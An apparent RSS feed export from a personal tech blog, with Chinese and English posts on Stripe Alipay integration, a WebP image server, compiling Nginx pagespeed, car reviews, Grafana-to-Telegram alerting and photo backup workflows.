  "statement_descriptor": null,
  "status": "pending",
  "type": "alipay",
  "usage": "single_use",
  "alipay": {
    "statement_descriptor": null,
    "native_url": null
  }
}

其中的 redirect[url] 只要访问了就会自动被 Stripe 跳转到支付宝家的支付页面上,所以我们最后会有一行:

window.location.replace(result.source.redirect.url);

将用户跳转过去,然后用户扫码付钱:

用户这边的事情就结束了。

服务器逻辑

用户的事情结束了,服务器端就需要开始处理用户的请求了,一个简单的方法如下,在用户付款完成后 Stripe 会跳转回我们 JS 中定义的 return_url 并附带一些参数,类似如下:

https://xxx.xxx.xx/buy?client_secret=src_client_secret_xxxxxxxxx&source=src_xxxxxxxxx

这个时候我们可以通过服务端来解析 src_xxxxxxxxx 得知是谁在付钱,并完成后续的操作:

\Stripe\Stripe::setApiKey('sk_xxxxxxxxxxxxxx');

// 获取 URL 中 source 字段
$source_id = filter_input(INPUT_GET, 'source', FILTER_SANITIZE_URL);
$source_object = \Stripe\Source::retrieve($source_id);

// 先确认一下用户付了钱,别有 Object 就直接开始整...
$status = $source_object->redirect->status;
if($status == "failed")
{
   	// 如果用户没有付钱,我们该怎么做?
}
else {
    // 从临时钱包从把钱扣了~
    \Stripe\Charge::create([
        'amount' => 1988,
        'currency' => 'hkd',
        'source' => $source_id,
    ]);
    // 有了 Object 之后我们可以提取出对应的用户邮件地址或者别的信息,比如邮件地址可以这样提取
    $user_email = $source_object->owner->email;
    // 然后这里自己根据 email 找到对应用户完成接下来的步骤,比如把文件通过邮件发给用户,给用户头像加个 Buff 啥的~
}

顺便可以登录 Stripe 后台看看~

不过这种方法只是说可以用而已,最好的方法可以参考 Best Practices for Using Sources 来接受 Webhook 多次验证,但这个就不在本文的范围内了。

由于是第一次接触支付领域,上述步骤中可能还是会有不少坑或者啥的(所以别直接在生产环境照抄,写完之后一定要多 Review 几遍逻辑漏洞),不过这个至少是一个可用最小模型了,还有不少可以改进的地方,比如浏览器端的函数其实可以异步拉起,这样可以在网页上弄一个 Modal 弹窗,看上去更加用户友好一些。

如果还有啥需要注意的话,那就是,别熬夜写代码,不然就会和我一样:

Happy Hacking && Happy Halloween !

References

  1. Checkout Overview
  2. Stripe API Reference——Source
  3. Best Practices for Using Sources
  4. Alipay Payments with Sources
]]>
Introducing a simple WebP Serverhttps://nova.moe/introducing-simple-webp-server/Mon, 07 Oct 2019 15:43:22 +0000https://nova.moe/introducing-simple-webp-server/In the previous article I’ve introduced Nginx + mod_pagespeed, which is a great tool that allows us to convert JPGs and PNGs to WebP on the fly, the converted files can be delivered by rewriting the related HTML Code.

Given the scenario I host all my images on a dedicated server () with Nginx for static files server, mod_pagespeed cannot perform the on-the-fly conversion at this time.

So I’ve decided to create a simple server that can convert all JPG/PNG files to WebP format without changing the URLs.

Means you can still access images with /xxx.jpg but the image is in WebP format and the file size of it is smaller.

With some self-learning, there is a prototype available on GitHub: n0vad3v/webp_server written with Node, ExpressJS and cwebp, and the effect of it is quite fascinating, as below.

Requests before and after WebP server

On a typical post with a lot of images such as 《那些年我开过的车(们)》, the images are always large.

With the WebP Server, the requests are becoming much more friendly (Look at eado.pov, it’s original size is 1.4M and the WebP image size is only 476K, wow!).

PageSpeed Insights

The image sizes are a big minus on score, so we just focus on the relative of those.

Before WebP Server:

After WebP Server:

Benchmarks

In my test under a Laptop with i5-7200U(2C4T), Using ab can have the result as below, the request is for a cached webp file.

Document Path:          /moon.jpg
Document Length:        3081336 bytes

Concurrency Level:      1000
Time taken for tests:   33.420 seconds
Complete requests:      10000
Failed requests:        0
Total transferred:      30816170000 bytes
HTML transferred:       30813360000 bytes
Requests per second:    299.22 [#/sec] (mean)
Time per request:       3342.003 [ms] (mean)
Time per request:       3.342 [ms] (mean, across all concurrent requests)
Transfer rate:          900475.41 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0  113 316.6      3    1073
Processing:   613 3167 484.1   3281    4301
Waiting:        2  311 115.7    305    1178
Total:        613 3279 627.3   3289    5367
]]>
使用 Nginx 和 mod_pagespeed 自动将图片转换为 WebP 并输出https://nova.moe/serve-webp-on-the-fly-with-nginx-and-mod_pagespeed/Fri, 04 Oct 2019 11:43:20 +0000https://nova.moe/serve-webp-on-the-fly-with-nginx-and-mod_pagespeed/关于 WebP 格式,Google 是这样介绍的:

WebP is a modern image format that provides superior lossless and lossy compression for images on the web. Using WebP, webmasters and web developers can create smaller, richer images that make the web faster.

WebP lossless images are 26% smaller in size compared to PNGs. WebP lossy images are 25-34% smaller than comparable JPEG images at equivalent SSIM quality index.

Lossless WebP supports transparency (also known as alpha channel) at a cost of just 22% additional bytes. For cases when lossy RGB compression is acceptable, lossy WebP also supports transparency, typically providing 3× smaller file sizes compared to PNG.

这样来看对比目前互联网上常见图片格式——PNG 和 JPG 来说,优势就很明显了,在 Google 的 PageSpeed Insights 中,对于网站的优化许多时候也会有这样一条优化建议——将图片使用 WebP 输出。

《那些年我开过的车(们)》中长安逸动的照片为例,以下是 eado-pov.jpg

➜  du -h eado-pov.jpg 
1.4M    eado-pov.jpg

使用 cwebp 进行转换之后大小变为了:

➜  du -h eado-pov.webp 
292K    eado-pov.webp

其中转换过程如下:

Saving file 'eado-pov.webp'
File:      eado-pov.jpg
Dimension: 4109 x 2229
Output:    297652 bytes Y-U-V-All-PSNR 40.17 47.73 46.92   41.53 dB
           (0.26 bpp)
block count:  intra4:      17345  (48.21%)
              intra16:     18635  (51.79%)
              skipped:      3906  (10.86%)
bytes used:  header:            322  (0.1%)
             mode-partition:  66470  (22.3%)
 Residuals bytes  |segment 1|segment 2|segment 3|segment 4|  total
    macroblocks:  |       1%|       7%|      22%|      70%|   35980
      quantizer:  |      45 |      45 |      38 |      30 |
   filter level:  |      14 |      18 |      56 |      45 |

图片如下(以下是 eado-pov.webp):

至少作为网页输出来说,我肉眼没有看到什么差距,而且目前 WebP 对于主流浏览器是全部兼容的:

Amongst web browsers, Google Chrome, Firefox, Opera, GNOME Web, Midori, Falkon, Pale Moon, and Waterfox natively support WebP. Microsoft Edge supports WebP through a platform extension (installed by default). Microsoft Edge doesn’t support platform extensions, including the WebP image format extension, when running in the security hardened “Application Guard” mode.

嗯,我们离一个更快的互联网又近了一步!


为了满足这样的需求,我们有一些解决方案,比如:

  1. 同时准备原图(PNG/JPG)和 WebP 格式图片,让 Nginx 按照请求输出对应的文件
  2. 不改变原有文件结构,让 Nginx 可以 On-the-fly 地将原图转换输出 WebP

注意哈,这里 On-the-fly 的意思,不是访问一个 /xxx.jpg 就会自动变成 WebP 格式的 /xxx.jpg 。(对于这个需求我们还需要一些别的方法)

而是让 Nginx 检查页面中的元素,发现 /xxx.jpg ,会自动将其转换为 WebP(并存放在定义好的缓存文件夹中),并在渲染页面的时候自动把 /xxx.jpg 替换成 xxx.jpg.pagespeed.ic.pWglov2dVZ.webp

由于图片转换这个操作对于服务来说一般没有什么压力,且「方案一」需要写一堆的 map 和 JS 比较 dirty,这里决定采用「方案二」,让服务器直接转换并输出 WebP 格式图片。而要达成方案二也有两种方式:

  1. 用 Openresty 并自己搓 Lua 脚本
  2. 使用 Pagespeed 插件

再一次,我选择使用「方案二」。

编译 ngx_pagespeed

首先确保 Nginx 有 --with-compat 编译参数,这样我们就不需要按照一些奇怪的教程让大家从头开始编译 Nginx,使用 nginx -V 确认,比如我的 Nginx 输出如下:

nginx version: nginx/1.17.4
...
TLS SNI support enabled
configure arguments: --prefix=/etc/nginx ... --with-compat ...

如果大家使用的 Ubuntu 系统的话,系统自带的源会比较老并且没有 --with-compat ,所以这里建议参考官方方式使用官方源:

如果已经安装过 Nginx 了请备份好 nginx.conf 之后 apt remove nginx nginx-common nginx-full nginx-core

echo "deb http://nginx.org/packages/mainline/ubuntu `lsb_release -cs` nginx" \
    | sudo tee /etc/apt/sources.list.d/nginx.list
curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add -
sudo apt update
sudo apt install nginx

以 Ubuntu 18.04 LTS 为例,以上安装方式会安装 Nginx 1.17.4。

接下来开始编译 pagespeed:

  1. 首先安装必备环境:

    sudo apt install build-essential zlib1g-dev libpcre3 libpcre3-dev unzip uuid-dev
    
  2. 下载 Nginx 1.17.4 源码并解压:

    wget https://nginx.org/download/nginx-1.17.4.tar.gz
    tar xvf nginx-1.17.4.tar.gz
    
  3. 找到 incubator:

    git clone https://github.com/apache/incubator-pagespeed-ngx.git
    
  4. 在 incubator-pagespeed-ngx 目录下下载 PageSpeed Optimization Libraries 并解压:

    wget https://dl.google.com/dl/page-speed/psol/1.13.35.2-x64.tar.gz
    tar xvf 1.13.35.2-x64.tar.gz
    
  5. 切换到 nginx 源代码目录下开始配置编译环境:

    ./configure --with-compat --add-dynamic-module=../incubator-pagespeed-ngx
    
  6. 编译 modules:

    make modules
    
  7. 将对应编译好的 module 放到 nginx 目录下:

    sudo cp objs/ngx_pagespeed.so /etc/nginx/modules/
    

启用 ngx_pagespeed

在 Nginx 主配置文件(nginx.conf)顶部加上:

load_module modules/ngx_pagespeed.so;

并且创建好缓存文件夹以便存放自动转换的图片:

sudo mkdir -p /var/ngx_pagespeed_cache
sudo chown -R www-data:www-data /var/ngx_pagespeed_cache

如果希望所有的站点都开启 PageSpeed ,可以直接在 nginx.conf 中加入以下:

# enable pagespeed module on this server block
pagespeed on;

# Needs to exist and be writable by nginx. Use tmpfs for best performance.
pagespeed FileCachePath /var/ngx_pagespeed_cache;

# Ensure requests for pagespeed optimized resources go to the pagespeed handler
# and no extraneous headers get set.
location ~ "\.pagespeed\.([a-z]\.)?[a-z]{2}\.[^.]{10}\.[^.]+" {
  add_header "" "";
}
location ~ "^/pagespeed_static/" { }
location ~ "^/ngx_pagespeed_beacon$" { }

pagespeed RewriteLevel CoreFilters;

其中最后一个部分(pagespeed RewriteLevel CoreFilters;)表示启用的优化方式,其中包括了一些基础的优化,比如:

add_head
combine_css
combine_javascript
convert_meta_tags
extend_cache
fallback_rewrite_css_urls
flatten_css_imports
inline_css
inline_import_to_link
inline_javascript
rewrite_css
rewrite_images
rewrite_javascript
rewrite_style_attributes_with_url

如果需要加入别的 Filter ,可以类似这样写:

pagespeed EnableFilters combine_css,extend_cache,rewrite_images;

所有的 Filters 列表可以参考:Configuring PageSpeed Filters,对于我们图片的转换的话,由于 PageSpeed 会自动判断是否需要转换,对于我们需要彻底转换 WebP 的需求,还需要加上几个 filter:

pagespeed EnableFilters convert_png_to_jpeg,convert_jpeg_to_webp;

重启 Nginx 之后打开页面应该就可以发现图片的 URL 已经被替换成 WebP 格式的了:

一些小问题

如果发现你的图片并没有自动被转换成 WebP 格式的话,可以在你的 URL 后面加上 ?PageSpeedFilters=+debug,然后查看源代码,并注意源代码中图片后面的部分,在我配置的过程中遇到过以下问题:

  1. <!--4xx status code, preventing rewriting of xxx 由于手上 Wordpress 的机器都是放在 Docker 中,前置了 Cloudflare,所以默认的回源方式会出错,这个时候需要这样配置一下,其中 localhost:2404 是本地 Docker 监听地址:

    pagespeed MapOriginDomain "http://localhost:2404/" "https://nova.moe/";
    
  2. <!--deadline_exceeded for filter CacheExtender--><!--deadline_exceeded for filter ImageRewrite-->

    这个表示 PageSpeed 正在生成对应的缓存图片。

  3. <!--The preceding resource was not rewritten because its domain (nova.moe) is not authorized--> 由于有反向代理,SSL 在 Nginx 上就已经结束,需要配置一下代理中的:

    proxy_set_header X-Forwarded-Proto $scheme;
    

    并加上:

    pagespeed RespectXForwardedProto on;
    

优化前后对比 && 总结

优化前:

注意那个 Serve Images in next-gen formats 的优化建议。

优化后:

总结

虽然这样做可以在不(手动)改变页面元素的情况下将 JPG 和 PNG 自动转换为 WebP 输出,但是在以上实验中,需要做到站点和媒体文件使用的一个路径,换句话说,就是需要使用 Wordpress 媒体库,而 Wordpress 媒体库于我而言并不好用,无论是为了以后备份还是迁移,所以对于我的博客,所有的图片都被放在了 / 下,在这样一个情况下就没法做到用 PageSpeed 自动 WebP 转换了,也是接下来需要优化的一个重点(图片虽然不多,但是有些图片 1.4M 实在是有点太大了)。

References

  1. How to Install PageSpeed Module with Nginx on Ubuntu 18.04, Ubuntu 19.04
  2. The preceding resource was not rewritten because its domain ($domain) is not authorized #1251
]]>
那些年我开过的车(们)https://nova.moe/the-cars-i-have-driven/Wed, 02 Oct 2019 17:07:19 +0000https://nova.moe/the-cars-i-have-driven/自从有了驾照之后,有幸在 JohnNiang 老司机的带领下开了不少里程,由于现在租车行业的发展,也得以有幸开过不同型号的车辆,想到在最初第一次合法上路前就有打算开到车后一定要记录下相应的感受和体验,遂有了这篇文章用以记录和分享,其中照片来源一般是实拍。

车辆介绍顺序将按照以下列表展开,所以,我青年时代就开过:

  • 长安逸动 EV200
  • 长安奔奔 EV
  • 长安新奔奔 IMT
  • 长安雨燕
  • 长安尼欧 II
  • 福特三厢福克斯
  • 奇瑞 eQ
  • 荣威 E50
  • 荣威 Ei5
  • 雪佛兰科沃兹
  • 大众 Polo
  • 大众 Jetta
  • BMW 320i M
  • Honda Civic (2008 自动款)
  • 别克 VELITE 6

除了一些特定车型以外,发现一个比较有意思的点,国产车基本都是又大又长,乘坐的时候视野比较高比较大,例如以下 BMW 320i 和 长安逸动 EV200 副驾驶 POV 实拍照片:

长安逸动 EV200

应该是自己驾驶过里程最长的一辆车,开到过不同车况和配置的,从实际驾驶体验上来说,0-50 加速应该是最迅猛的一辆,但是过了 50kph 之后加速随缘,实测 0-100 大概是 12~15s 之间。

由于 EV200 几乎完全是从老版本长安逸动燃油车的车身改装,且由于是油改电,车身重量相比较燃油车据说重了 200+KG,且由于电池包放在车辆底盘下,使得车辆最低点距离地面有近了一些,虽然看许多评论说这样更加容易托底,但是在我个人驾驶的情况下,在各种烂路上都没有遇到过类似的情况,相反,有以下几个问题是我比较关注的:

  • 由于 EV200 基本是油改电,多出来的 200+KG 的重量搭配原有的燃油车身,轮胎和制动系统让本来就刹车距离不好的燃油逸动(41M)变得更加不好了。
  • 冬季续航问题,非常常见,基本开一公里掉两公里电,而且电量指示并不准确,已经有两个朋友因此遇到了比较严重的问题(在电量显示不接近 0 的时候,在不合适的地方或时间失去了动力)。
  • 动力衰减,不知道长安对于电池更换的逻辑是什么,目前从个人经验看来,4 万公里似乎是一个分界线,前后车辆加速体验差距还是比较大的。
峰值扭矩 280 Nm
轮胎 205/60/R16
车身尺寸 N/A(网上全是 EV460 的参数了)

长安奔奔

EV 和 IMT 就放在一起讲了(主要是 EV 开过太少了),EV 如果不考虑续航问题的话,似乎从普通驾驶上没有什么特别的值得说的点,对于 IMT 的话,可以说的点就很多了。

比如这个容易打滑的 175/60/R15 轮胎:

还有糟糕的 IMT 变速箱,深给油时降档迟钝,换档延迟超大,收油时发动机抖动,方向盘指向不准确,虽然是前麦弗逊后扭力梁的设计,但是 “路感清晰”(就是基本没有避震的意思),M 档模式下红线也会自动升档,怠速时动力不稳(低速蠕行时刹车放完会有一个较大的推力,蛮危险),没有上坡辅助,如果在侧向坡道上倒车入库的话需要手刹配合,比较考验驾驶技巧。

不过考虑到只有 6 万的售价,算是一个可以开的买菜车了。

峰值扭矩 135 Nm
轮胎 175/60/R15
车身尺寸 3730*1650*1530

还有就是夜间+下雨的话驾驶真的超级没有自信,如下图(这看得到个锤子,下暴雨得把窗户打开看反光镜):

长安雨燕

我觉得国内能开到的 Swift 和 Rent4Ring 上的 Swift 应该不是一辆车,是为数不多的面包车驾驶体验的车…

由于车头比较短,对于刚上路没有路感喜欢看着自己引擎盖开车的朋友来说是一个不错的选择(比如我)。

动力方面,一档红线可以充到 72kph,市区驾驶不考虑油耗的话可以保持 2 档开(其实内环快速我也开 2 档),由于座位非常高,拥有着类似面包车的视野,也因为座位比较高,油门和刹车踏板踩起来不是很舒服,长时间驾驶之后更是如此(小腿容易酸痛),还有一个小问题在于油门死区比较长,过死区后动力比较突兀,出停车场的时候如果控制不好容易挂到旁边车。

个人感觉雨燕最为诟病的地方在于它的悬架,前麦弗逊后拖曳臂式的设计,从实际驾驶体验来说,明显能感觉到起步抬头严重,过坑(减速带)时又非常生硬地颠簸,很不舒服,不过侧向支撑似乎尚可,搭配这个非常结实(转向很沉)的方向盘,一些弯可以比较高速丢进去,入弯前循迹刹车,过 APEX 之后深给油出弯,在重庆道路条件合适的地方这样开还是蛮有意思的(不过要注意不要不要切到对面车道,非常容易出问题)。

除此之外,据说是为了保证车内空间,前后悬架的部分做了不少牺牲,导致转向半径比较大,有多大呢,就是双向 4 车道,从内侧车道没法一次完成掉头…注意这车长度只有 3.7 米。

峰值扭矩 138 Nm
轮胎 185/60/R15
车身尺寸 3765*1690*1510

长安 尼欧 II

由于下雨,我陷在了停车场的泥地里…

为了自己安全,还是别开它上路了吧…

峰值扭矩 N/A Nm
轮胎 145/60/R13
车身尺寸 2770*1545*1690

福特福克斯 2012 款

没有开过多久,外形和内饰都比较家用车的一辆车,唯一记得的一个特性是深给油的时候的顺序是:降档->(仿佛在空档中)转速一下子拉上来->完成降档(动力一下子就上来了),可能是使用了 6 DCT 变速箱的缘故,别的部分表现似乎的确没啥可以挑剔的,悬挂是用了一个比较标准的前麦弗逊后多连杆设计。

峰值扭矩 159 Nm
轮胎 205/60/R16
车身尺寸 4368*1823*1483

奇瑞 eQ

开 ECO 模式地板油起步和电瓶自行车差不多,且某一批次还因为刹车泵被召回过:

因为塑料真空储气罐供应商制造工艺问题,可能出现破裂或者被吸瘪的情况,导致车辆制动助力不足,存在安全隐患。奇瑞汽车股份有限公司根据《缺陷汽车产品召回管理条例》的要求,向国家质检总局备案了召回计划,决定 2017 年4 月 15 日起,召回 2014 年 10 月 22日至 2015 年 10 月 11 日期间生产的部分奇瑞新能源 eQ 车型汽车,共计 4896 辆。奇瑞汽车将对召回范围内的车辆进行检查,并免费更换新的塑料真空储气罐,以消除安全隐患。

直角弯以超过 30 kph 的速度丢的话会响胎,悬挂很软,为了安全和驾驶体验,还是不建议经常开它。

荣威 E50

找了一圈,没有找到实拍照片,没有激烈驾驶过,相比较奇瑞 eQ 而言,加速更加直接,座位高度更低,虽是两门四座车,但是个人感觉还是两个人开开就差不多了,后面坐人体验太差了。

峰值扭矩 155 Nm
轮胎 175/60/R13
车身尺寸 3569*1551*1540

荣威 Ei5

「woc,你开的是保时捷嘛?」,某同学看到方向盘上的 Logo 如是问。

4.5 米长的休旅车,座椅的高低调节可以有两种完全不同的驾驶体验,升高休旅车,降低普通轿车,关于车长,还有一段比较有意思的对话:

  1. 「我不太喜欢这种(休旅)车,车太长了,从外面看上去怪怪的」
  2. 「从内部呢?」
  3. 「我觉得不错啊,不过车太长了的话停车比较困难」
  4. 「那是你技术问题,技术差了车短你也停不好」

这里本来想 @ 一下某个同学的,想了一下还是算了 ^_^

没有开过太久(大概只有 500+km 的样子),一直是比较常规的开,加速和减速比较缓和,悬架前麦弗逊后扭力梁,在平坦的路况上驾驶体验不错。

峰值扭矩 255 Nm
轮胎 205/60/R16
车身尺寸 4544*1818*1536

雪佛兰科沃兹

中规中矩的一辆家用车,各个方面都比较均衡,后排空间也挺大,加速没有特别的感觉(毕竟只有 1.5 自吸),变速箱逻辑有点奇怪,切换到 M 档并手动控制会好一些,相比较雨燕而言,科沃兹在转速上红线之前会稳定转速(而不会频繁断油),这一点比较有意思。

峰值扭矩 141 Nm
轮胎 195/65/R15
车身尺寸 4544*1779*1467

大众 Polo

挺喜欢的一辆小车,车身短,停车比较自信和方便,各个方面都感觉比较舒适,就是油门需要踩的很深才会触发降档(即使是 S 档)比较有意思。

然后后排的话,空间比雨燕还小,身高超过 170 的人坐着肯定是没有地方放脚的(需要放到前排座椅下),比较逼仄。

如果不考虑后排空间(== 不考虑 2 人以上出行)的话,Polo 个人感觉很不错啦。

峰值扭矩 155 Nm
轮胎 185/60/R15
车身尺寸 3970*1682*1462

大众 Jetta

第一反应是:李老鼠的捷达王。

对比上文的 Polo 的话,开起来感觉是三厢的 Polo。

后排空间相比较 Polo 会大一些,但是整体车身长度并不是很长,有一种缩短版桑塔纳的感觉。

峰值扭矩 150 Nm
轮胎 185/60/R15
车身尺寸 4501*1704*1469

BMW 320i M

驾驶的这辆 320i M 有过改装(排气),感觉座椅好低,容易超速,见过车主 130 kph 进弯,心慌慌…

同时颠覆了对于 BMW 3 系车动力的理解…

峰值扭矩 270 Nm
轮胎 225/45/R18
车身尺寸 4624*1811*1455

Honda Civic (2008 自动款)

个人最喜欢的是它的双层仪表盘(不过可惜的是目前最新思域已经没有这个设计了),搭配 1.8L 发动机,驾驶体验非常不错,就是我开的话,油耗有点高…

思域在哪里!

峰值扭矩 174 Nm
轮胎 205/55/R16
车身尺寸 4500*1755*1450

别克 VELITE 6

一款纯电动车,官方名称为——微蓝,目前最新版本的满电续航里程为 420KM,看了一下参数惊艳到了,居然有 350 Nm 的峰值扭矩,甚至超过了 320i,但是作为电动车,与荣威 Ei5 相比,虽然拥有 350 Nm 的扭矩,但是同样在 S 档或者称「运动模式」上,别克 VELITE 从给油到轮上输出动力之间有一个非常大的迟滞,不知道是有意为之还是别的什么 Bug。

峰值扭矩 350 Nm
轮胎 215/55/R17
车身尺寸 4650*1817*1510

]]>
在 Telegram 中管理主机监控和警报信息https://nova.moe/manage-host-alert-on-telegram-with-grafana/Mon, 12 Aug 2019 16:29:33 +0000https://nova.moe/manage-host-alert-on-telegram-with-grafana/服务器监控的重要性不言而喻,之前在 搭建好了大内网 解决了服务器之间的跨地区传输数据的安全问题之后就搭建了一个 Grafana + InfluxDB + Telegraf 的栈用于对服务器的负载等信息进行监控,除了最近遇到一些自己配置上的小问题以外,工作一直良好。

Alert Pushing

由于自己的主机很少出问题,所以一直没有注意过警报推送的问题,之前默认都是通过邮件进行推送的,但是这样就会有一个问题:

你不能指望你的邮件服务器可以给你的邮件客户端及时推送,也不能指望你的邮件客户端可以保持常开

所以对于主机监控警报的推送来说,可能需要找一些第三方平台了,首先我们肯定不会去用 DingTalk/WeChat,毕竟:

你不能指望一个 (疯狂要权限|消息不加密|走国内平台|桌面版客户端几乎不可用|跨平台就别想了|运作逻辑不开放|接不上 IFTTT|还要实名认证) 的软件可以帮你做什么。

为了解决利用一个通讯工具在被要求交出手机前实现大一统消息推送和管理的需求,这里准备使用 Telegram 进行管理监控信息,实现思路如下:

  • 在主机在线时:主机的各个性能方面警告(最简单的比如 CPU 占用率),通过 Grafana 统计得出,并直接推送到自己的 Telegram Bot 上。
  • 当主机不慎掉线时:Uptimerobot 会通过 RSS 的方式发送,并且用 IFTTT 监控 RSS Feed 进行推送。

对于后者相信有 IFTTT 使用经验的人都会做,也就是点几下鼠标的事情,前者似乎才是有一定难度的地方,毕竟我在自己配置的过程中踩了一些坑。

Grafana + Telegram Bot

Create Telegram Bot

首先创建一个 Bot 并且把这个 Bot 邀请到自己的 Group 中。

创建一个 Bot 对于大家来说绝非难事,找到 @BotFather 然后发一个 /newbot 就好了,很容易的。

创建好 Bot 之后会看到类似如下一段话:

Done! Congratulations on your new bot. You will find it at t.me/xxxyyyzzz_bot. You can now add a description, about section and profile picture for your bot, see /help for a list of commands. By the way, when you've finished creating your cool bot, ping our Bot Support if you want a better username for it. Just make sure the bot is fully operational before you do this.

Use this token to access the HTTP API:
931234567:MSDAJ3p8***jsW7fhj
Keep your token secure and store it safely, it can be used by anyone to control your bot.

For a description of the Bot API, see this page: https://core.telegram.org/bots/api

注意上文中数字加冒号的部分是 API 的 Token,如果你已经邀请好了你的 Bot,可以通过访问以下地址:

https://api.telegram.org/bot<TOKEN>/getUpdates

其中<TOKEN> 部分直接替换为那个 Token,例如:

https://api.telegram.org/bot931234567:MSDAJ3p8***jsW7fhj/getUpdates

可以得到类似如下 JSON 结果:

我们需要的是 chat 下的 id,也就是那个 -2421379 这样的值。

Define Grafana Alert Channels

在 Grafana 的 Notification Channels 中加入一个 Telegram 的 Channel 就好了。(什么,你找不到「Notification Channels」,在面板左侧那一条中)

这样我们已经写好了警报推送通道,现在就是定义警报触发条件了。

Grafana Alert Trigger

对于某一个 Dashboard 点 Edit 之后可以设置警报的触发条件,由于是对于生产环境服务器的警报,所以其实有很多的触发可能,最容易想到的可能就是 CPU 的长时间高负荷和高内存占用(考虑溢出的可能),当然在很多时候这个标准并不绝对,例如在 YunLoad 的一个业务中有一个关键功能就是会涉及到长达几分钟的高 CPU 占用,若设置不当容易误触警报让自己梦中惊醒

如果你和我一样偷懒使用 5955 面板的话,在 Test 的时候很有可能会遇到:

tsdb.HandleRequest() error time: invalid duration $inter

这个时候看对应 Query 底下的 Min time interval 可以发现其中的值是 $inter ,也就导致了上述问题,为了避免这样的问题,我的解决方案是把 $inter 替换掉,顺带重写了一下 Query 的部分(默认的 query 叫 B,新建了一个 Query A),比如某一台机器的 CPU 信息可以如下写(当然,要创建一个 Query 并没有这么复杂,现在的 Grafana 其实有图形界面可以直接点点点啦~):

SELECT percentile("usage_user", 95) AS "HKG_CPU" FROM "cpu" WHERE ("cpu" = 'cpu-total' AND "host" = 'hkg-novanetwork') AND $timeFilter GROUP BY time($__interval) fill(null)

然后设置好条件就可以啦,还有一个坑在于 query 的时间间隔,如果太长的话容易导致数据接受延迟,太短的话,容易读不到数据。

接下来就是邀请所有 NOC 的同学进入你的 Group,完工~

References

  1. Telegram Alert Channel configuration - Configuration - Grafana Community
  2. Alerting Notifications | Grafana Documentation
]]>
我的照片管理方案https://nova.moe/how-i-manage-my-photos/Wed, 31 Jul 2019 04:17:22 +0000https://nova.moe/how-i-manage-my-photos/由于钟爱摄影(瞎拍),在许多时候都会拍摄大量的照片和视频,对于这些照片的合理存储和展示自然就成了一个难点,一般来说,对于一个照片(或一段视频),有以下需求:

  • 拍摄完成之后可以方便地完成后期
  • 后期修正完成后需要保存原始图片(NEF)和已经修正好的各个版本
  • 将需要发布的照片对于修正各个版本针对平台(比如 500px)进行发布
  • 在需要的时候可以随时给朋友/同学展示一些日常照片

对于照片来说,一般有如下分类:

  • 手机拍摄的价值不是很高的图片,比如某些通知文件的拍摄(无需后期)
  • 以摄影为目的单反拍摄照片(需要后期)
  • 单反拍摄的旅游记录(需要后期)

照片整理思路

对于以上 4 个需求,照片(以及视频)被我分为:本地文件、存储文件和展示文件。

本地文件

此处针对需要进行后期的图片以及一些视频为例,由于需要大量使用 Lightroom 对照片进行后期处理,我选择了将所有的照片文件以文件夹的形式放入一个统一的文件夹中,文件夹目录类似如下:

Photos
├── 2019-06-20 Hackathon
└── 2019-07-31 Random walk in school

这样做的好处是照片相对集中管理,且对于后期需要切换平台来说非常方便,也就是 Lightroom 的 Category,对于 Lightroom 来说,其默认的 Category 文件被保存于 C:/Users/<UserName>/Pictures/Lightroom/Lightroom Catalog.lrcat,所以如果需要对 Lightroom 有一个完整的备份的话只需要对此文件以及上述目录进行备份即可。

存储文件

照片的存储非常耗费空间,如果使用网盘的话,对于批量操作和命令行操作来说不是非常方便,且由于存储大多是为了备份,选择一个合适的对象存储可以大幅减少开销,例如 Google Cloud Platform 的存储定价如下:

Multi-Regional Storage (per GB per Month) Regional Storage (per GB per Month) Nearline Storage (per GB per Month) Coldline Storage (per GB per Month)
$0.026 * $0.010 $0.007

由于我们丢入存储中之后可能很长时间内(直到本地硬盘损坏之前)都不会去使用和修改文件,所以完全可以考虑使用 Coldline 存储,即使有 200G 数据,每个月开销也仅仅为 $1.4。

如果你正好使用了例如 DigitalOcean 这样的服务商,它们提供了 250G/5$ 且可以创建无限多桶的存储方案,完全可以创建多个桶分别用于服务器备份和本地照片备份。

例如在我的 DO 账户上单纯是照片相关(照片,视频,Lightroom Category 备份)就有许多的桶,大概长这个样子(名称我就 Blur 了,各位可以根据文件数量和大小猜一下分别是用来做什么的):

这样每次拍照之后只需要调用一下脚本将图片批量同步到 S3 桶即可,或者其实可以可以直接使用 s3fs 之类的工具保持本地挂载,不过这个在 Windows 上和大陆的地区网络环境下可能用起来有点小糟心。

这里有一点需要注意,虽然对于靠谱的云服务商来说并不会偷窥用户隐私,但是照片在上传的时候建议加密后上传,不过 s3cmd 类工具在 sync 的时候是不可以使用加密选项的,意味着我们需要本地加密后用 s3cmd cp 上传,且为了差异化上传,一个完整压缩包的形式也无法使用。

选择对象存储而不是网盘还有一个比较重要的原因在于后期发布的便捷性,见下文。

图片展示

对于图片展示来说,主要有两个方面的需求:

  • 对于可以公开展示的图片/视频分别放到合适的平台(比如 500px 和 YouTube)
  • 对于不公开的照片(比如家庭照片)需要寻找一个跨平台(至少浏览器,iOS 和 Android)支持的服务,例如 Google Photos

对于内部照片分享来说,Google Photos 似乎非常方便,除了在批量上传时有一些 Bug 以外,对于普通的无需修正的手机拍摄的照片,完全可以选择拍摄后自动同步到 Photos 上,而对于一些容量特别大的视频,则建议手动复制到电脑上后先上传,然而个人在上传大量的视频(容量 >10G)的时候经常遇到上传失败的问题,类似的问题通过海外大带宽的 VPS 上便不存在,非常诡异。

为了解决这个问题,可以使用对象存储中转的方式进行,如此以来一个完整的视频处理工作流便是:

手机拍摄低重要度照片(无需后期) 单反拍摄的需要发布的照片
1.拍摄 1.拍摄
2.自动同步 Google Photos 2.本地后期
3.同步到对象存储
4.通过对象存储中转同步到各个平台
3. 加入对应的 Google Photos Album 5.加入对应的 Google Photos Album

小结

经常可以听到周边的同学因为手机丢失/损坏/手滑等原因失去了大量的照片,虽然丢的不是我的照片,我并不会为此觉得可惜(跑~

但是我是不会允许这种情况发生在自己身上的,如文初所说,照片分为「本地文件、存储文件和展示文件」,分别用于「本地处理、存储归档、对外展示」,使用以上的架构可以做到:

  1. 在有互联网接入的情况下方便地对外展示希望对外展示的相片/视频
  2. 在本地电脑可用的情况下方便地对图片/视频进行处理,由于照片放在一个文件夹下,这个文件夹可以十分方便地转移位置
  3. 在本地磁盘损坏/被盗的时候快速从对象存储中获取备份数据

